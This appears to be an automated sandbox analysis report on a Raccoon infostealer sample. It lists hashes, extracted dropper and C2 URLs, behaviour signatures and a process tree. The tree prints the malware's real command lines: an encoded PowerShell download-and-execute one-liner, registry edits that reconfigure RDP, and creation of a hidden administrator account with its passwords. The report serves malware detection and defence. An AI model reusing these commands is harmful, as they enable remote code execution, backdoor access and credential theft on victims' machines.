Analysis

  • max time kernel
    73s
  • max time network
    110s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    02-06-2021 17:28

General

  • Target

    5676da3b40d61806be97f0826797e3bc.exe

  • Size

    568KB

  • MD5

    5676da3b40d61806be97f0826797e3bc

  • SHA1

    44333f38e11d577289c5bcd2fbf6679431b897a2

  • SHA256

    399b61ce97c4bed90c614e0be359f107b8c75293baa720ccdc5209e7130ef874

  • SHA512

    e70ee7b00ad641166776f8c29280c51b13ff89e85da9316637158208fc91334379befed616980cf33aa2e803b8edcdaec883864d8e83f9991329325911b303ce

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes
  • url4cnc

    https://tttttt.me/jdiamond13

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5676da3b40d61806be97f0826797e3bc.exe
    "C:\Users\Admin\AppData\Local\Temp\5676da3b40d61806be97f0826797e3bc.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:780
    • C:\Users\Admin\AppData\Local\Temp\3e0KxzRe2J.exe
      "C:\Users\Admin\AppData\Local\Temp\3e0KxzRe2J.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3724
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:432
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jcpf0icw\jcpf0icw.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3236
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7D15.tmp" "c:\Users\Admin\AppData\Local\Temp\jcpf0icw\CSC417307C154404E3D9A7B3FED1D5D2D5.TMP"
            5⤵
              PID:3636
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3332
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3276
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3848
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:1196
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:4052
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:1808
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1356
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:648
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3476
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2364
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:428
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:2712
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1540
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2212
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1104
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:2280
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:3944
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:1808
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\5676da3b40d61806be97f0826797e3bc.exe"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2084
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        3⤵
                        • Delays execution with timeout.exe
                        PID:1792
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3380
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3332
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:2876
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc VuCbWcxs /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1500
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc VuCbWcxs /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:596
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc VuCbWcxs /add
                          3⤵
                            PID:864
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:504
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3444
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:648
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1196
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4020
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:3188
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1356
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                                PID:380
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                  3⤵
                                    PID:3660
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc VuCbWcxs
                                1⤵
                                  PID:2264
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc VuCbWcxs
                                    2⤵
                                      PID:2364
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc VuCbWcxs
                                        3⤵
                                          PID:2720
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C wmic path win32_VideoController get name
                                      1⤵
                                        PID:1808
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic path win32_VideoController get name
                                          2⤵
                                            PID:3584
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C wmic CPU get NAME
                                          1⤵
                                            PID:864
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic CPU get NAME
                                              2⤵
                                                PID:3648
                                            • C:\Windows\System32\cmd.exe
                                              cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              1⤵
                                                PID:648
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                  2⤵
                                                    PID:4056
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                      3⤵
                                                      • Blocklisted process makes network request
                                                      • Drops file in Program Files directory
                                                      • Drops file in Windows directory
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:3188
                                                • C:\Windows\System32\cmd.exe
                                                  cmd.exe /C net user wgautilacc 1234
                                                  1⤵
                                                    PID:596
                                                    • C:\Windows\system32\net.exe
                                                      net user wgautilacc 1234
                                                      2⤵
                                                        PID:516
                                                        • C:\Windows\system32\net1.exe
                                                          C:\Windows\system32\net1 user wgautilacc 1234
                                                          3⤵
                                                            PID:2212

                                                      Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • memory/432-148-0x0000013E38CA3000-0x0000013E38CA5000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/432-168-0x0000013E3B610000-0x0000013E3B611000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/432-139-0x0000013E38BF0000-0x0000013E38BF1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/432-144-0x0000013E3AD80000-0x0000013E3AD81000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/432-147-0x0000013E38CA0000-0x0000013E38CA2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/432-223-0x0000013E38CA8000-0x0000013E38CA9000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/432-167-0x0000013E3B280000-0x0000013E3B281000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/432-162-0x0000013E38CA6000-0x0000013E38CA8000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/432-160-0x0000013E38C40000-0x0000013E38C41000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/780-115-0x0000000000400000-0x0000000000496000-memory.dmp

                                                        Filesize

                                                        600KB

                                                      • memory/780-114-0x0000000002140000-0x00000000021D1000-memory.dmp

                                                        Filesize

                                                        580KB

                                                      • memory/3188-256-0x00000294D90C3000-0x00000294D90C5000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3188-257-0x00000294D90C6000-0x00000294D90C8000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3188-258-0x00000294D90C8000-0x00000294D90C9000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3188-255-0x00000294D90C0000-0x00000294D90C2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3276-214-0x000001CE753F0000-0x000001CE753F2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3276-218-0x000001CE753F8000-0x000001CE753FA000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3276-216-0x000001CE753F6000-0x000001CE753F8000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3276-215-0x000001CE753F3000-0x000001CE753F5000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3332-193-0x000001CA73206000-0x000001CA73208000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3332-213-0x000001CA73208000-0x000001CA7320A000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3332-187-0x000001CA73200000-0x000001CA73202000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3332-188-0x000001CA73203000-0x000001CA73205000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3724-129-0x0000024E5D070000-0x0000024E5D072000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3724-131-0x0000024E5D075000-0x0000024E5D076000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3724-132-0x0000024E5D076000-0x0000024E5D077000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3724-130-0x0000024E5D073000-0x0000024E5D075000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3724-127-0x0000024E5D4B0000-0x0000024E5D8D1000-memory.dmp

                                                        Filesize

                                                        4.1MB

                                                      • memory/3848-219-0x000001A2D3920000-0x000001A2D3922000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3848-222-0x000001A2D3928000-0x000001A2D392A000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3848-221-0x000001A2D3926000-0x000001A2D3928000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3848-220-0x000001A2D3923000-0x000001A2D3925000-memory.dmp

                                                        Filesize

                                                        8KB